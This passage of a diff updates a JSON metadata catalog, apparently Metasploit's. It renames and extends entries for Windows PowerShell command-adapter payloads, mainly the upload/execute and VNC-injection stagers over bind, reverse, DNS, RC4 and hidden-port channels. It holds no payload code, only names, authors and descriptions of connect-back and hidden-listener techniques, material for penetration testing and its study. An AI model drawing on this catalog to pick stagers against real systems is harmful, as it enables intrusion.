"staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_nonx_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp": { - "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp", + "payload_cmd/windows/powershell/upexec/bind_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp", "aliases": [ ], @@ -183595,12 +202753,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection (Windows x86)", "references": [ ], @@ -183613,18 +202771,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp", + "ref_name": "cmd/windows/powershell/upexec/bind_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4": { - "name": "Powershell Exec, Bind TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", + "payload_cmd/windows/powershell/upexec/bind_tcp_rc4": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_rc4", "aliases": [ ], @@ -183633,14 +202797,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "mihi", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection", "references": [ ], @@ -183653,18 +202817,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_rc4", + "ref_name": "cmd/windows/powershell/upexec/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_tcp_rc4", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_rc4" }, - "payload_cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid": { - "name": "Powershell Exec, Bind TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", + "payload_cmd/windows/powershell/upexec/bind_tcp_uuid": { + "name": "Powershell Exec, Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", + "fullname": "payload/cmd/windows/powershell/upexec/bind_tcp_uuid", "aliases": [ ], @@ -183673,12 +202843,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection with UUID Support (Windows x86)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nListen for a connection with UUID Support (Windows x86)", "references": [ ], @@ -183691,18 +202861,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/bind_tcp_uuid", + "ref_name": "cmd/windows/powershell/upexec/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/bind_tcp_uuid", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_uuid" }, - "payload_cmd/windows/powershell/patchupmeterpreter/find_tag": { - "name": "Powershell Exec, Find Tag Ordinal Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/find_tag", + "payload_cmd/windows/powershell/upexec/find_tag": { + "name": "Powershell Exec, Windows Upload/Execute, Find Tag Ordinal Stager", + "fullname": "payload/cmd/windows/powershell/upexec/find_tag", "aliases": [ ], @@ -183711,10 +202887,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt " + "vlad902 ", + "sf ", + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nUse an established connection", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nUse an established connection", "references": [ ], @@ -183727,18 +202904,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/find_tag", + "ref_name": "cmd/windows/powershell/upexec/find_tag", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/find_tag", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/findtag_ord" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (IPv6)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", + "payload_cmd/windows/powershell/upexec/reverse_ipv6_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_ipv6_tcp", "aliases": [ ], @@ -183747,12 +202930,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker over IPv6", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker over IPv6", "references": [ ], @@ -183765,18 +202948,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ipv6_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_ipv6_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ipv6_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp": { - "name": "Powershell Exec, Reverse TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", + "payload_cmd/windows/powershell/upexec/reverse_nonx_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_nonx_tcp", "aliases": [ ], @@ -183785,11 +202974,10 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "vlad902 " + "vlad902 ", + "sf " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker (No NX)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker (No NX)", "references": [ ], @@ -183802,18 +202990,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_nonx_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_nonx_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_nonx_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp": { - "name": "Powershell Exec, Reverse Ordinal TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", + "payload_cmd/windows/powershell/upexec/reverse_ord_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_ord_tcp", "aliases": [ ], @@ -183822,11 +203016,11 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "spoonm " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183839,18 +203033,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_ord_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_ord_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ord_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp": { - "name": "Powershell Exec, Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp", + "payload_cmd/windows/powershell/upexec/reverse_tcp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp", "aliases": [ ], @@ -183859,12 +203059,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183877,18 +203077,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports": { - "name": "Powershell Exec, Reverse All-Port TCP Stager", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", + "payload_cmd/windows/powershell/upexec/reverse_tcp_allports": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse All-Port TCP Stager", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_allports", "aliases": [ ], @@ -183897,12 +203103,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", - "sf " + "skape " ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nTry to connect back to the attacker, on all possible ports (1-65535, slowly)", "references": [ ], @@ -183915,18 +203121,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_allports", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_allports", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_allports" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns": { - "name": "Powershell Exec, Reverse TCP Stager (DNS)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", + "payload_cmd/windows/powershell/upexec/reverse_tcp_dns": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (DNS)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_dns", "aliases": [ ], @@ -183935,13 +203147,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183954,18 +203166,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_dns", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_dns", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_dns" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", + "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4", "aliases": [ ], @@ -183974,14 +203192,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "mihi", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -183994,18 +203212,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_rc4", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns": { - "name": "Powershell Exec, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", + "payload_cmd/windows/powershell/upexec/reverse_tcp_rc4_dns": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", "aliases": [ ], @@ -184014,14 +203238,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", - "hdm ", + "vlad902 ", "sf ", + "hdm ", + "skape ", "mihi", "RageLtMan" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker", "references": [ ], @@ -184034,18 +203258,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_rc4_dns", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_rc4_dns", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, - "payload_cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid": { - "name": "Powershell Exec, Reverse TCP Stager with UUID Support", - "fullname": "payload/cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", + "payload_cmd/windows/powershell/upexec/reverse_tcp_uuid": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse TCP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_tcp_uuid", "aliases": [ ], @@ -184054,12 +203284,12 @@ "type": "payload", "author": [ "Spencer McIntyre", - "skape ", - "jt ", + "vlad902 ", + "sf ", "hdm ", "OJ Reeves" ], - "description": "Execute an x86 payload from a command via PowerShell.\n\nConnect back to the attacker with UUID Support", + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", "references": [ ], @@ -184072,18 +203302,67 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/patchupmeterpreter/reverse_tcp_uuid", + "ref_name": "cmd/windows/powershell/upexec/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_tcp_uuid", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_uuid" }, - "payload_cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp": { + "payload_cmd/windows/powershell/upexec/reverse_udp": { + "name": "Powershell Exec, Windows Upload/Execute, Reverse UDP Stager with UUID Support", + "fullname": "payload/cmd/windows/powershell/upexec/reverse_udp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Spencer McIntyre", + "vlad902 ", + "sf ", + "RageLtMan " + ], + "description": "Execute an x86 payload from a command via PowerShell.\n\nUploads an executable and runs it (staged).\n\nConnect back to the attacker with UUID Support", + "references": [ + + ], + "platform": "Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2022-05-27 16:41:25 +0000", + "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", + "is_install_path": true, + "ref_name": "cmd/windows/powershell/upexec/reverse_udp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/upexec/reverse_udp", + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_udp" + }, + "payload_cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp": { "name": "Powershell Exec, Hidden Bind Ipknock TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", "aliases": [ ], @@ -184092,15 +203371,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection. First, the port will need to be knocked from\nthe IP defined in KHOST. This IP will work as an authentication method\n(you can spoof it with tools like hping). After that you could get your\nshellcode from any IP. The socket will appear as \"closed,\" thus helping to\nhide the shellcode", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184111,18 +203390,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_hidden_ipknock_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_hidden_ipknock_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, - "payload_cmd/windows/powershell/peinject/bind_hidden_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_hidden_tcp": { "name": "Powershell Exec, Hidden Bind TCP Stager", - "fullname": "payload/cmd/windows/powershell/peinject/bind_hidden_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_hidden_tcp", "aliases": [ ], @@ -184131,15 +203416,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "Borja Merino " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection from a hidden port and spawn a command shell to the allowed host.", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184150,18 +203435,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_hidden_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_hidden_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_tcp" }, - "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp": { "name": "Powershell Exec, Bind IPv6 TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp", "aliases": [ ], @@ -184170,14 +203461,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184188,18 +203479,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_ipv6_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp" }, - "payload_cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid": { + "payload_cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid": { "name": "Powershell Exec, Bind IPv6 TCP Stager with UUID Support (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", "aliases": [ ], @@ -184208,15 +203505,15 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", "skape ", - "sf ", "OJ Reeves" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184227,18 +203524,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_ipv6_tcp_uuid", + "ref_name": "cmd/windows/powershell/vncinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_ipv6_tcp_uuid", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, - "payload_cmd/windows/powershell/peinject/bind_named_pipe": { + "payload_cmd/windows/powershell/vncinject/bind_named_pipe": { "name": "Powershell Exec, Windows x86 Bind Named Pipe Stager", - "fullname": "payload/cmd/windows/powershell/peinject/bind_named_pipe", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_named_pipe", "aliases": [ ], @@ -184247,12 +203550,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "UserExistsError" ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a pipe connection (Windows x86)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184263,18 +203567,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_named_pipe", + "ref_name": "cmd/windows/powershell/vncinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_named_pipe", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_named_pipe" }, - "payload_cmd/windows/powershell/peinject/bind_nonx_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_nonx_tcp": { "name": "Powershell Exec, Bind TCP Stager (No NX or Win7)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_nonx_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_nonx_tcp", "aliases": [ ], @@ -184283,12 +203593,13 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "vlad902 " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (No NX)", "references": [ - + "URL-https://github.com/stephenfewer/ReflectiveDLLInjection", + "URL-https://github.com/rapid7/ReflectiveDLLInjection" ], "platform": "Windows", "arch": "cmd", @@ -184299,18 +203610,24 @@ "mod_time": "2022-05-27 16:41:25 +0000", "path": "/modules/payloads/adapters/cmd/windows/powershell.rb", "is_install_path": true, - "ref_name": "cmd/windows/powershell/peinject/bind_nonx_tcp", + "ref_name": "cmd/windows/powershell/vncinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 8, + "adapter_refname": "cmd/windows/powershell", + "adapted_refname": "windows/vncinject/bind_nonx_tcp", + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_nonx_tcp" }, - "payload_cmd/windows/powershell/peinject/bind_tcp": { + "payload_cmd/windows/powershell/vncinject/bind_tcp": { "name": "Powershell Exec, Bind TCP Stager (Windows x86)", - "fullname": "payload/cmd/windows/powershell/peinject/bind_tcp", + "fullname": "payload/cmd/windows/powershell/vncinject/bind_tcp", "aliases": [ ], @@ -184319,14 +203636,14 @@ "type": "payload", "author": [ "Spencer McIntyre", - "ege ", + "sf ", "hdm ", - "skape ", - "sf " + "skape " ], "description": "Execute an x86 payload from a command via PowerShell.\n\nListen for a connection (Windows x86)", "references": [ - + 